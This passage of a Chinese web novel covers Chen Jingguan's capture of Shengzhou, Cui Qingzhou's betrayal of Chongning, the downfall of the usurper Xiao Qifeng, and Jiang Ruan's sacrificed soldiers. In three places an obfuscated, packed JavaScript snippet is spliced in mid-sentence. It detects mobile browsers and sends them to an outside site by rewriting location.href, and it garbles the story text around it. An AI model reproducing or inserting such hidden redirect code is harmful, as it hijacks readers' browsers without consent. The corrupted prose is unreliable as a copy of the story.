说罢,陈京观微微合眼,等他再睁眼时天光乍破,一道晨光铺满整个院子,春日的四月,他重新从南魏启程。 距陈京观朔州战败,已经过去了八个月,距陈京观雍州起兵,却又不过短短三年。 离开盛州的时候陈京观没有回头,他留了穆晓山带着一万人驻守槐州,他让穆晓山缓一缓,看着他离开的背影,穆晓山久久难以回神。 陈京观走出三十里后,他听到身后有马蹄声传来,他回头望,看到了穆晓山的身影。 “薛大人说他能守住,他让我到战场上时再想我哥。” 穆晓山目光闪烁,少年人脸上的泪痕干涸在了脸颊上,陈京观点头应了声“好”,将自己临行前备好的酒壶拿出来。他喝了一口,递给穆晓山也喝了一口,然后往土地上祭奠倒了一口。 “远山兄,你要好好看着我们。” 看着我们,如何扳回这一局。 …… 南魏盛州。 在陈京观离盛州还有不到一天的路程时,萧祺枫收到了陈京观重新出现的消息,他连滚带爬往崇宁的住处跑,可跑到了又不敢进门。 萧祺枫手里握着的纸被他下意识攥紧,他咽了咽唾沫,屏退了守在宫殿外的侍从,他看到屏风后面的人好像也正在望着自己的方向,他犹豫着喊了一声“姑姑”,屋里的人没有应他。 自从那日崇宁彻底与萧祺枫摊了牌,崇宁就不再掩饰自己对萧祺枫恨铁不成钢的态度了。过去她想着自己总还是要和萧祺枫相处很久的,陪一个心性单纯的傻子演戏也没什么不好,可萧祺枫擅自作主掀翻了崇宁的棋盘,崇宁看着萧祺枫应声落地,她头也不回地走了。 这些日崇宁再也没有去过早朝,萧祺枫在那龙椅上如坐针毡,他觉得每一个注视自己的目光都像是下一秒就要掏出匕首刺向自己,他面前的人里,一部分是与萧霖平日走得比较近的,一部分的家眷被留在了阙州生死未卜。 萧祺枫看着他们,明明江阮信守承诺瞒住了他的荒唐事,可他依旧觉得这些人对一切都心知肚明,他们在等着萧祺枫跌落的那一天,他们的手跃跃欲试要将他拽下来。 萧祺枫不是没想过将一切大白于天下,然后将所有忤逆自己的人全都处死,可他转瞬一想,那时的朝堂当真就剩下他一个人。 他是成了南魏的皇帝,可皇帝是什么,皇帝是要被人敬仰,受万民爱戴的,不是他一个人坐在皇位上孤芳自赏。 萧祺枫没想到小时候学的“法不责众”竟能被用到这里,他明明已经是皇上了,可为什么他更加拈轻怕重,他甚至还没有做皇子时自由。 原来做皇帝的感觉是这样的,怪不得父亲说放手就放手。 “你打算在那站多久?” 屋子里的人出声打断了萧祺枫的思绪,他忙应了一声,“枫儿拜见姑姑。” “你是皇帝,我受不起你的礼。” 崇宁没好气地瞥了萧祺桓一眼,萧祺桓没敢做声,小心翼翼走上前去递上了信。 “陈京观,还活着。” 闻言,崇宁像是看到了瘟神一般将手里的信一把扔到了地上,“果然是他。陈京观,你还真是难杀啊。” 崇宁心里的怒气和不解涨红了她日渐干瘪的双颊,萧祺枫弯腰去捡信的时候听到崇宁讽刺道:“捡它有什么用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336643|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不如想想怎么捡你皇帝的颜面。” 萧祺枫的动作顿了顿,却依旧乖顺地将信捡了起来,他手指蜷缩着不知道该做什么,崇宁望着他那副怯懦的样子气不打一出来。 “你不是很厉害吗?你不是要自己当皇帝吗?这下好啦,人打到你门前来,你有本事学萧祺桓领兵啊。” 萧祺枫嘴里的话夹在嗓子里,他是想学萧祺桓,可话到嘴边他发现自己比他想的还要怕死。 萧祺枫听到陈京观还活着的第一反应就是他活不久了,凭陈京观死里逃生的本事,他不会不知道萧霖突然薨逝的真相,他也不会不知道朔州的真相,他打回来,第一件事就会要了自己和崇宁的命。 “姑姑,”萧祺枫谨慎地抬眸望崇宁,“您一定有办法的对不对?” 崇宁撇过头没有看他,萧祺枫就“扑通”一声跪在地上伏到崇宁脚边,“您救救侄儿,这也是救您自己啊。” “救我?”崇宁像是听到了天大的笑话,“若没有你自作聪明惹得一身骚,我如今该是掌着兵权要和东亭谈条件的,怎么会平白无故让出广梁,又怎么会陈京观堵到家门口?” “那现在怎么办,事已至此您就是杀了我,您自己也的想办法活啊。” 萧祺枫涕泗横流,崇宁一把扯走了攥在他手里的衣袍,她站起身看了看外面的蓝天,“找崔擎舟,让他守住城门,在这之前先把他一家老小接入宫。” 崇宁原本没有怀疑崔擎舟,可她左思右想,崔擎舟是跟着萧祺桓全程参与了廊州一战的,要说崔擎舟什么都不知道她可不信,再说了崔擎舟在萧霖的书房里待了那么久,凭萧霖多疑的性格,能把兵权给崔擎舟一定是断定了他不是自己的人。 以前崇宁能对崔擎舟摇摆的立场睁一只眼闭一只眼,她觉得只要崔擎舟不是萧霖的人,那至少就不是自己的敌人,可现在崇宁不这么觉得了,她要把一切能用的人都牢牢抓在手里。 既然功名利禄不能让你改性,那人之常情总可以吧。 萧祺枫明白了崇宁的意思,立刻动身离开,崇宁看着那黑色的人影消失在拐角处,突然失笑。 “萧祺枫,有句话你说错了。” 崇宁勾起嘴角,眼前浮现的是她这漫长又曲折的一生。 “即便你死了,我也不一定会死。我以前也和你们的想法一样,可看到你和萧霖蠢成这样还能做皇帝,那我又为什么不能?” 崇宁轻笑一声摇了摇头,“既然你都能拿阙州换江阮的助力,我为什么不能拿你们换一个皇位?” 那日与江阮临别时,崇宁突然站住脚,江阮看着她的背影饶有兴趣开口道:“怎么,殿下后悔了?” 崇宁没有转身,江阮看到她摇了摇头,“我还有一个买卖,江公子感兴趣吗?” “说。” “比起我,您现在更想要他死吧。” 崇宁说着微微侧身,她看到江阮眼底浮起笑意,便继续道:“这一切背后一定还有个推手,你不会没发现,你觉得会是谁?有谁还能这般了解你?” 江阮没有应声,崇宁朝他行礼道:“我用盛州消磨他的兵力,将他困在盛州城里,届时我的兵马加上你的军队,还怕这一次不能将他一网打尽?” “你想要什么?” 崇宁顿了顿,“你把阙州还给我,我来做南魏的皇帝。” 142.吊民伐罪(九) 陈京观到达盛州城门时,他回头看了看席英。月光下她静静抬着头看城门上的“盛州”二字,下颌绷得很紧,右手扶在腰侧的剑柄上。 “姐姐,这就是你家吗?” 萧祺栩问道,一旁的苏清晓也侧头看她。 “不是。不过等我打下来就是了。” 闻言,苏清晓难掩笑意,席英察觉到他的表情,开口问道:“你不信我?” 苏清晓摇头,“我哪敢不信席将军,我只是替城里的人捏一把汗,此时在睡梦中的又有多少能看到明日的太阳。” 席英握着刀的手松了松,苏清晓看着她的神情严肃了几分,“不要因为怜悯而放下手中的刀,能活到今日的,已经没有几个人是真正的良善了。” 苏清晓的话如同黑夜一闪而过的流星,闻者皆不寒而栗。陈京观下意识点了点头,他望着城墙上驻守的军队,他看的出那是啸龙营的旗帜,应该还是崔擎舟的亲兵营。 “席英你先从左路突围,晓山跟着我走中路诱敌,小栩跟好你师父,等我们撕开一个口子你们就直接去盛州行宫找萧祺枫和崇宁。” “是。” 四面的应答声如同给今晚的行动吹响了进发的号角,席英的身影一如往常般穿梭在林中,陈京观和穆晓山的步子不快,他们紧跟着席英的动作慢慢靠近城门口。 夜色中,崔擎舟其实已经感觉到有危险的气息在逼近,他灵敏的听觉感知到了不远处树丛里异乎寻常的动静,可他没有采取任何行动,他转身和副将使了个眼色,身后的人接替了他的位置,他缓步走下城墙。 “准备。” 席英抬手号令暗处的队伍,他们将马匹隐在草木深处,如今八千人伏在草间,如同即将飞扑而起的猎豹。 陈京观的队伍即将到达守城军队的视野范围内,他与暗处的席英交换信号,一步一步踏进了盛州的边界。 “开城门!” 突然,眼前死气沉沉的大门动了,一道微光从缝隙中透了出来。意料中的防御工事没有出现,城墙上的人随着一句“开城门”全部消失的无影无踪,陈京观愣了几秒,他看到远处的光影下崔擎舟朝自己走过来。 “末将崔擎舟,恭迎少将军回城。” 陈京观止住了身后的队伍,可他依旧没有放下戒备心,他手里的刀握得很紧,等崔擎舟走近了,陈京观却发现他甚至只是一身布衣,连盔甲都没有穿。 “崔将军,你这是?” 陈京观试探着问,崔擎舟重复了一遍方才的话,“迎少将军回城,扶新主登基。” 崔擎舟身后,啸龙营守在城门口的的队伍一字排开,下一秒只听到零落的兵器散在地上,众人俯首:“扶新主登基!” 崔擎舟见陈京观没有动,他眼神暗了暗,“少将军不信我?” 陈京观没有说话,他抬头看崔擎舟时,眼前的人脸上已经泥泞一片,“此时我家上下一十八口全在行宫里,你进城的那一瞬,他们便都要死了。少将军觉得我会拿他们诱你吗?” 陈京观眉头微皱,崔擎舟随便抹了一把脸,“我是窝囊了一辈子,可我也是武将,我做不到看着他们把南魏的江山拱手让人。当初我同你父亲在西芥那般艰难都没想过投降,没想过叛国,我怎么能容忍他们这般糟践南魏的根本?” “您认出我了?” 崔擎舟笑着摇头,“我眼拙,亏得关大人告诉我的。不过万幸你还活着,不然当日你在朔州腹背受敌而我无动于衷,我都不知道要怎么向你父亲交代。” 崔擎舟说话时没有了往日的神采,形如枯槁般矗立在陈京观面前,他已经对这人世间没有留恋了,他甚至不敢想萧祺枫会如何对待他的妻儿。 可崔擎舟别无选择,他知道如今的南魏快连苟延残喘都做不到了,陈京观是唯一希望。他选择陈京观就如同他当时选择陈频,这么多年了他还是放不下那个初心,他不是天选能救南魏之人,那他便用自己的命替那人铺一段坦途。 “您再等下去,若崇宁回过味来,我就算死也帮不了你了。”崔擎舟苦笑着,“她以为拿妻儿就能束住我,可我临走时,夫人让我一定不要做南魏的罪人。” 崔擎舟的手慢慢抚上腰间的香囊,他夫人刚绣好的时候他嫌弃鸳鸯太儿女情长,他夫人便故作生气要问他讨回来,崔擎舟笑着没给,一戴就是十年。 陈京观的思绪在那一瞬被推倒重开,他之前的计划出现了变数,他没有想过崔擎舟会是那个变数。 过去崔擎舟在他眼里就像随风摇摆的草叶,他没有立场,也就没有依仗,他谁都讨好却谁都没有选。那时陈京观觉得他贪心,现在他才明白,崔擎舟选择的是南魏这片土地,他的根从未动摇过。 “那您呢?” 陈京观说着转身招呼身后的军队快速入城,苏清晓朝他点了点头带着萧祺枫直朝行宫而去。 “我,想问您讨个封赏,”崔擎舟笑着说,“若你成了,便指给我个戍守边关的将军做吧,这京官我做了太久了,没意思。” 陈京观应了声“好”,没有再多想,他要走时崔擎舟喊住他。 “少将军,此路艰险,我只能帮你到这了。” 那时的陈京观还没有明白崔擎舟的这句话,他只高声道了一句“多谢”。 陈京观离开后,啸龙营的士兵又重新捡起了刀,他慢慢围到崔擎舟身边,崔擎舟望着浩浩荡荡的军队,他居然还有一丝羡慕。 他这辈子到死,也没打过这样的仗。 …… 此时的盛州行宫乱作一团,宫女内侍大包小包拿着东西往外跑,可还没等出宫门便被带刀侍卫拦住了。 大殿前,萧祺枫穿着他登基那日的黄袍,他背着光高高在上地看着长阶下的众人,有上前来求他放自己走的,被萧祺枫身边的守卫一刀抹了脖子。 周遭慌乱的人被那内侍的热血溅了满身,他们惊恐地看着萧祺枫,却见萧祺枫缓缓抽出腰侧的刀,月光映在刀身上发着冷光,萧祺枫的目光从每一个人身上扫过。 “你们所有人,都得留在这陪我。” 一时间哭喊声震天,这盛州行宫成了一个比地府还阴沉的牢笼,萧祺枫却像是很享受这来之不易的权威,他嘴角噙着笑,侧身问身边的侍卫:“崔擎舟的家里人都处置了?” “都按您的吩咐处理掉了。” 萧祺枫满意地点头,“那剩下大臣们呢?” “城门一早就关了,谁也别想出去。” 萧祺枫脸上笑意渐浓,“很好,我得不到的,谁都别想得到。” 依稀见,宫门口的有声响传来,萧祺枫看到火光从城门升了起来,他握着刀的手下意识开始发抖,那双眼睛游移着像是在找最后的挡箭牌。 “姑姑呢?” 萧祺枫发觉崇宁不见了,从昨天他找过崇宁后崇宁就再也没有出现过,此时陈京观大兵压境,崇宁不会是个等死的,那她人呢? “大长公主她……” 长阶下有个畏畏缩缩的宫女几欲开口,她旁边的人死死压着她的身子,可萧祺枫还是敏锐地捕捉到了她的声音。 “说,她人呢?” 那宫女咽了咽口水,“奴婢昨日去偏殿时看到了大长公主的车驾,她好像出宫了。” 宫女的声音越说越心虚,她看见萧祺枫望着她的眼神像是能滴出血,下一秒萧祺枫果然冲上去揪住她的衣领,唾沫横飞道:“为什么不报!为什么不报!我才是皇帝,我才是南魏的皇帝!你们怎么就是看不见我!” 宫女被吓得不轻,神志混乱似的喊叫着,她的声音彻底点燃了原本还怯懦的宫人,四下蹲着的人见萧祺枫像是失了智,所有人如作鸟兽散,侍卫拿刀杀了一个又一个,可总还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350721|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人跑出去了。 “凭什么……” 萧祺枫脱力般跌坐在大殿前,今晚的行宫灯火辉煌,更照得他脸上毫无血色。 “她凭什么跑得掉?” 说着萧祺枫疯了似的提着刀向下冲,可没走两步他突然感觉脖颈被人擒住,随之而来的是冰冷的触感从他的喉结处爬满全身,他看到眼前的人骑在马上,一副清风朗月的模样。 “好久不见,四哥哥。” 萧祺栩望着狼狈的萧祺枫冷笑道:“怎么就您一个了?姑姑呢?” “你是……萧祺栩!” 萧祺栩努着嘴装出可怜的模样道:“哥哥原来还记得我,那我的身份,也就定了。” 萧祺栩说完,萧祺枫意识到他犯了一个天大的错误。 他在众目睽睽之下认了萧祺栩,他在帮这个来路不明的刺客坐实他皇子的身份。 可这样一来他萧祺枫就成了弑君的罪臣,有了一个清清白白的储君,谁还会理睬他这个本就受人诟病的皇帝? “不是!你不是萧祺栩,他早就死了,他十年前就死。” 萧祺枫此时的矢口否认更让他显得像得了疯病一般,萧祺栩看着他的眼神多了一丝怜悯,他翻身下马,一步一步走到萧祺枫面前。 “即使我不是萧祺栩又如何,我要坐这个位置,如今有人能拦得了我吗?” 萧祺枫眼睛里的乖张将瑟瑟发抖的萧祺枫吞没,他贴近萧祺枫的耳朵轻声道:“是我给了史家一个冠冕堂皇的理由,让他们能记下萧家皇位由六子承,这才不至于让百年后的南魏史书留下一个弑君皇子的名字。姑姑倒该感谢我挽回了萧氏颜面。” 说罢萧祺栩替萧祺枫整了整他的衣领,他用手慢慢抚过那衣服上的龙纹,嘴角的笑意在萧祺枫看来却触目惊心。 “脏了,送给你了。你下葬的那一日,我会让你穿着它离开。” 萧祺枫腿一软跪倒在了萧祺栩脚下,萧祺栩却头也不回地往大殿里走,他身后的苏清晓目睹了整个过程,他望着萧祺栩一步步走上长阶,一步步走近大殿,一步步登上皇位。 苏清晓觉得他的使命才刚刚开始。 不知为何,他在萧祺栩的身上看到了江阮的影子。 陈京观说得没错,这只狼回到了他的地盘,他闻到了权利的味道,他的爪子在蠢蠢欲动,他的牙在萧祺枫的脖颈处停了很久。 苏清晓什么也没说,跟着萧祺栩进了行宫。 “师父,”萧祺栩先一步登上了那皇位,他眼中的雀跃被苏清晓尽收眼底,“我们做到了。” 苏清晓没说话,他听到萧祺栩喃喃自语道:“原来这就是皇位,原来这就是皇帝。” “可崇宁逃走了。” 苏清晓给萧祺栩泼了一盆冷水,萧祺栩却毫不在意,“没事,兄长会把她抓回来,他最恨的就是崇宁,他不会放过崇宁的。” “那你呢?”苏清晓直视着萧祺栩的眼睛,“你什么都不做就想坐到这里?” “小栩,这天下没这么好的事情。” 萧祺栩的兴奋被苏清晓的话浇灭了一半,他望着苏清晓的时候不经意露出了怨怼,苏清晓没有无视他的感情,他沿着萧祺栩的步子走到了皇位旁边。 “只要你没有真的坐上这位子,没有真的在那圣旨下留下的你的玺印,你就算不得一个皇帝。而你方才对萧祺枫说的话,说得很好,可不该是在那时。他是行过册封礼的,他的名字永远要排在你前面。萧祺栩,做任何事情前想好后果。” 苏清晓的话将萧祺栩拉回现实,他被喜悦掩住的耳朵又一次听到了外面兵马交锋的声音,今夜的盛州注定不能安宁,萧祺栩的心也是一样。 “我错了。” 萧祺栩呐声道,苏清晓走上去拍了拍他的肩膀,“胜利是值得庆祝的,可现在胜利的不是你,是陈京观。” 143.看杀卫玠(一) 盛州行宫外,陈京观辞别崔擎舟后与席英从东西两侧各带一路人马拼杀。他越是接近行宫却越觉得不对,这一切太顺了,甚至来阻拦他的人都比想象中的少。 啸龙营满打满算还剩六万人,崔擎舟的亲兵营降了,可崇宁还有自己的凤翎军,那是她从军队组建伊始就养在自己身边的,用的是她的俸禄银子,也只听她的话。 凤翎军大概有两万人,只凭现在来阻击陈京观的,估摸着还没到凤翎军的零头。 崇宁已经不在盛州了。 陈京观脑中的念头一闪而过,他用刀拦下对面敌军的同时转头对穆晓山喊道:“去找席英,让她带兵去行宫找苏清晓,宫外的人我处理,让她务必找到崇宁!” 穆晓山点头后策马朝反方向跑,陈京观顿了顿,下令让身后的将士加快进攻的速度,在天亮前拿下盛州。 假设崔擎舟没有说谎,那此时苏清晓和萧祺栩应该已经安全进入行宫,他们没有立刻折返,证明是抓到了萧祺枫。 萧祺枫没了,崇宁还能做什么? 陈京观正想着,突然听到身后有人叫他的名字,他回头时看到苏清晓一个人飞奔而来。 “崇宁跑了,盛州是座空城,那些大人的府邸基本都空了,我觉得他们去了阙州。” 苏清晓的话应证了陈京观的猜想,他点了点头,像是意识到了什么,开口问道:“你把小栩一个人留在行宫里了?” 苏清晓耸了耸肩,“总不能真让他坐享其成吧,是他要当皇帝,他难道连自己的命都保不住?如果这样的话我看不如回去找兴安王。” 苏清晓的话怼得陈京观哑口无言,他看着吃瘪的陈京观笑着道:“你是他哥哥,你知道他小时候经历了什么,能活着有多不容易,可天下人不知道。萧祺栩要想做皇帝,他得自己抢,自己争,只有靠自己得来的东西他才会知道珍惜。我可不想我的徒弟变成下一个萧祺枫。” “你见到他了?” 苏清晓点头,“整个人活像个失心疯的。” 陈京观叹了一口,没有再继续这个话题。在他们说话的间隙,四周这战事基本结束了,地上的敌军四散捂着脑袋求饶,陈京观将为首的将领缴了兵械,告诉其他人降者不杀。 苏清晓拍了拍他的肩让他放松,“不过看到萧祺枫我倒还有些感慨。我小时候跟着父亲进宫见过他,那时候只觉得他跋扈,现在只觉得他可怜。果然皇宫里养不出好孩子。” “那萧祺桓呢?” 苏清晓思忖了片刻,“宸妃那与世无争的脾性多多少少影响了他,薛雯昭养出来的儿子又能有多少雄心。对了,宸妃娘娘也不在宫中。” 陈京观面色一凝,他刚退下去的寒毛又竖了起来,刚才苏清晓打断了他的思路,他的问题还停留在崇宁还能做什么,以及她是怎么跑出去的。 如今他想明白了。 “盛州是陷阱。” 几乎与此同时,陈京观听到身后有士兵喊道:“有敌袭!” 霎时间,陈京观方才走过的路上冲出来无数黑影,他们刚才装作是寻常百姓的模样,此时尖刀从他们怀中显露,陈京观看出那刀是东亭制式。 “崇宁还真是有本事,和江阮谈萧祺枫时应该还谈成了另一桩买卖。” 陈京观冷笑着,他刚收起来的刀又扬在空中,苏清晓瞬间看清了形势,无奈地撇了撇嘴,“是你真有本事,明明都是死人了都能被这么多人惦记。我们这一路走得如此谨慎,不可能被人找得到。” 陈京观顿了顿,“一定还有我们没发现的影子。可不管怎么样,都到这一步了我不可能再把盛州还回去。江阮手里的兵在雍州折了不少,如今这些也最多是挡了步子,挡不了我的路。” 说着,陈京观用双腿夹紧马身,一个飞身冲了出去。 眼前的东亭军像是没想到他面对突袭还能这般镇静,面面相觑后高喊一声“杀”给自己壮胆,如飞蛾般扑向陈京观的军队。 而这一切,都和江阮预想的不一样,他不知道是哪里出了差错。 他以为陈京观会意气用事带兵驰援雍州,这样他就有了第一次可以杀他的机会,可平芜的出现替陈京观挡掉了这一击。 他以为崔擎舟再不怕死,也不能拿全家老小的性命去赌陈京观身上那不确定的未来,可崔擎舟的决绝超出了江阮的想象,他做好了赴死的准备后为陈京观打开城门。 他以为崇宁没有办法在萧祺枫的监视下离开阙州,崇宁一定会与陈京观拼个两败俱伤,可早在萧祺枫给她送信前,崇宁就知道陈京观已经在来的路上了,她出城的路线万无一失。 江阮的一盘好棋在某一刻被他从来没有想到的外力改变了走势,这是他第一次尝到失控的滋味。 “楼主,陈京观出现了。” 来报的谍子不敢看江阮,眼前的人背着身怔怔地望着窗外发呆,不知过了多久,他听到江阮问:“崇宁怎么跑的?” “她好像比我们更早知道陈京观还活着。她同您演了一场戏,也同萧祺枫演了一场戏。” 江阮手里的檀木珠子被他用拇指摩挲着,珠子间相互碰撞的声音成了这屋里唯一的响动,谍子犹豫片刻又道:“只要您下令,我们立刻派兵将她围困阙州。” 江阮转过身摆了摆手,谍子望见他神色如常,好似并没有因这突如其来的变故烦心。 “不用,陈京观不会放过她的。他们终究还是要打,不过就是换了个地方。我只是好奇崇宁是有多大把握,认为没了我的助力只靠她的凤翎军就能守得住阙州?” 江阮嗤笑一声,轻佻地扬了扬眉眼,“本来是一箭三雕的事情,非要自作聪明。人啊,永远会败给自己的贪心。被踩得太厉害的人早就站不起来了,他们终究会死于劣根性。” 萧霖如此,崇宁也是如此。 他们姐弟俩真的像极了,一个比一个狂妄,却又一个比一个自卑,他们张牙舞爪拼命想要得到旁人的重视和认可,不过是因为从小到大都没有人能看得见他们。 他们用自大来掩饰自己骨子里的自卑,他们觉得这样至少可以让自己看起来不再是那被人践踏的野草,崇宁一手养大的萧祺枫也是如此。 江阮轻笑一声,这萧家人,果然没一个好东西。 “对了,派去盛州的一千死士,他们的家里人都安顿好了?” 谍子点头应道:“按您的吩咐,都给家里置办了田产。” 江阮“嗯”了一声,谍子却顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350722|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了顿继续道:“所以您一开始就知道崇宁不会甘愿做您手里的刀吗?” “我只是不觉得陈京观会死得如此轻易。” 谍子面露疑色,江阮却似心情不错,他转过身走到桌前为自己倒了一杯茶,耐心地和谍子解释道:“他消失了八个月,这八个月我用了那么手段都没把他逼出来,这么长的时间够他想明白所有事情了。” 江阮嘴角带着笑,就那般沉默地望着杯中的茶叶在水面流转,他似乎出了神,谍子不知道他想到了什么,可直觉告诉他此时不应该出声。 “陈京观从来就不是个蠢的,他只是被人教得太好了,陈频给他忠义和宁渡给他的仁义在他身上体现得淋漓尽致。这些自然都是好品德,若他生在治世一定能做个仁臣,可惜了,他偏偏活在乱世。” 所以陈京观才会挣扎,他的人生割裂却又融洽,他能走到今日善与恶都功不可没。 这两种截然不同的念头就如同两株密不可分的藤蔓在他身上交织缠绕,它们相互攀附着生长,都在努力争夺陈京观的身体,它们的能量越大,陈京观便越觉得窒息。 和江阮这一生都在黑暗里不一样,陈京观是在陈频死后失去了一切,可偏偏陈频短暂在他人生出现的那十年,已经让陈京观永远无法容忍自己心甘情愿堕入黑暗。 陈频的死让他明白这南魏是何等藏污纳垢之所,这天下不过是人们盛放私欲的容器,可随之而来的,是只要他心里对于南魏的恨多一分,对陈频的怀念多一分,他就越会告诉自己不要与世界同流合污。 陈京观无疑是理想的,因为他本就是陈频对于大同天下的理想载体。 陈京观是陈频留给这个世界的遗物,他将本不该存在于世上的人创造出来,而他离开了,陈京观就变成了孤身一人,他干净得不可方物。 他会在听到董辉的故事后流泪,会在看到沁格被命运束缚时向她伸出手,会在穆氏三兄弟落草为寇时依旧相信他们是善良的,会在几经自我拉扯后选择开仓放粮,驱使他做出这一切的正是驱使他选择报仇的原因。 如同一颗种子,开出两朵并蒂花。 仇恨是黑色的,它像是深渊般吞噬了靠它为生的人,那些被仇恨裹挟着向前的人,视野所及皆是晦暗,可陈京观不一样,他的仇恨源于对这现实的不满,他讨厌这世界,却从未想过毁灭它。 在陈京观直面这现实已经无药可救的真相后,他选择了改变自己。 他一次次说服自己这狗屎一般的世界不值得他再留恋,那些各怀鬼胎的人不值得他去帮助,他要做的是融入他们,去学会如何在这世界运用既定的规则达成自己的目的。 陈京观要做的是妥协,而不是改变。 于是他学会了审时度势,学会了威逼利诱,学会了口蜜腹剑,学会了那些曾经让他嗤之以鼻的劣性,他也终于有机会能站到江阮对面了。 “说实话,我其实并不想让他死。” 许久之后,江阮再次开口,“恰恰相反,我想让他每日一睁眼看到的就是罪恶的自己,是满手的鲜血,是满心的利益,我想让他以他痛恨的模样活着。” 江阮不允许有陈京观这样的人存在,他的存在只会让江阮看起来既可怜又可悲。 144.看杀卫玠(二) “说,你是谁派来的?” 日出时分,盛州经过一夜血战后只剩下一支军队仍挺立在马上。 陈京观的刀架在一个满身是血的士兵的脖颈处,那人低着头不说话,陈京观便把刀又往他的喉咙抵了三分。 其实这个问题的答案他很清楚,可他还是想问。 陈京观一开始认为江阮是靠着他拿捏人心的本事攥住了每个人的欲望,然后让这些人的欲望为他的欲望服务,可这一夜后,陈京观改变了自己的想法。 那从暗处窜出来的士兵只有一千人,他们在陈京观的军队面前显得势单力薄,他们是被江阮放弃的人,他们自己也没想着能活着回去。 或许江阮最开始应许他们,这一仗还有崇宁的军队做主力,他们只需要露个面表示江阮尽了力就好,可在崇宁已经离开,而陈京观势如破竹般攻入盛州城后,这些原本应该四散逃窜或者安静躲起来的人,依旧选择了直面陈京观的军队。 他们和陈京观想的不一样。 “你想从我嘴里听到谁的名字?” 眼前的人冷笑一声,他吐掉了嘴里的血水,身上的伤让他已经不足以挺直腰说话,可他望着陈京观的眼睛里满是不甘,就如同他的领袖一般。 “你想听我求饶?想听我说楼主是如何逼我的?想听我将楼主形容成你们眼中无恶不作的魔鬼?做梦。” 说罢,那人撇开头不再看陈京观,陈京观却因为他一连几句反问失了神,他想到陆栖野说孔肃死时也是这样子,他们明白江阮在利用自己,可他们心甘情愿。 “陈京观,”眼前的人又继续道,这次他的目光里多了一丝戏谑,“不要以为你被南魏人奉作活菩萨你就真的高人一等,你是善良,可你的善良有什么用?你周围的人死了一波又一波,他们在为你的善良埋单,而我们死得其所。” “江阮能给你们什么?” 跪着的东亭士兵没有立即回答,他挪了挪身子,让初升的太阳照在他的身上,他像是很享受这最后的温暖,他闭上眼,陈京观看到他脸上露出一抹笑。 那笑不同于之前他面对陈京观的冷笑,陈京观真的从眼前人的笑容里看到了愿望达成时的圆满。 “你觉得,一个人的命值多少钱?” 又是这个问题。 士兵的话像是一把将陈京观拉回到三年前,当初他在雍州城门被同样的问题问住,那时的他没有答案,此时依旧没有。 东亭士兵像是料定了陈京观不会回答,他缓缓睁开眼,用手抚了一把地上的土,又用手指捻了捻。 “我的命,能换遥州三十亩茶田和五十亩农地,能换我爹娘住上不漏风漏雨的宅子,能换我弟弟有钱读书,能换我姐姐有底气去和那个对她拳打脚踢的夫家和离,你觉得值吗?” 一滴眼泪砸在地上,陈京观看到东亭士兵用袖子擦了一把脸。 人怎么可能不怕死?他只是说服自己将命换做银钱,去让家里人更好地活。 一时间陈京观说不出话,而被他们圈在中间的俘虏都被这番话说中了心事,他们低着头抽泣,好像昨晚那群奋不顾身的人不是他们。 陈京观什么也没有说,只是果断地将手里的刀收入鞘中,他转身的瞬间听到背后的人声嘶力竭地喊着。 “杀了我!我才不要成为你歌功颂德的奖章。” 陈京观没有理会那人的挑衅,他的步子没有停,可他还没走出去多远,只听到背后的兵士喊了一句“保护少将军”。 陈京观回眸,看到方才说话的人趁守军不备抢了刀,毫不犹豫地划破了自己的咽喉。 那人脖子上的血水如汩汩溪流,他挣扎着要说话,可嗓子里的话随着血液流淌出了他的身体,他像是认命一般笑了,陈京观永远都记得他临死时前望着自己的眼神。 周遭的俘虏像是被突然到来的死亡呵住了,又像是被唤醒了内心的冲动,他们效仿着那个早已倒在血泊中没了呼吸的同伴。 陈京观站在原地一句话也说不出来。 如果说陈京观是替为他卖命的人描绘了一个美好未来,以此换的了这些人对希望的渴求,那江阮就是真真切切让跟着他的人尝到了甜头。 江阮从来不信虚无的承诺,所以他也从不觉得承诺是什么神圣的东西,他向恪多发出过盟约,却在遏佐能给他带来巨大利益后选择了把刀伸向自己的盟友。 他也曾对陈京观说过要做他的耳朵。 那可能是江阮这辈子说过的唯一一句真心话。 在与陈京观相处的那些日子他观察着陈京观,试图去了解眼前这个人的内心所想,试图用自己的思维同化他,从未想过背叛。 其实直到陈京观去找萧霖领了讨伐东亭军的军令之前,江阮也没有做过一件对不起陈京观的事。 那时候的他只是放弃了去说服与自己截然不同,又让他自惭形秽的陈京观,江阮还是没有想过要杀了他。 在许多年前,在泯川江畔,阮青衣弹着琵琶和他说过一段话,他这辈子也没忘。 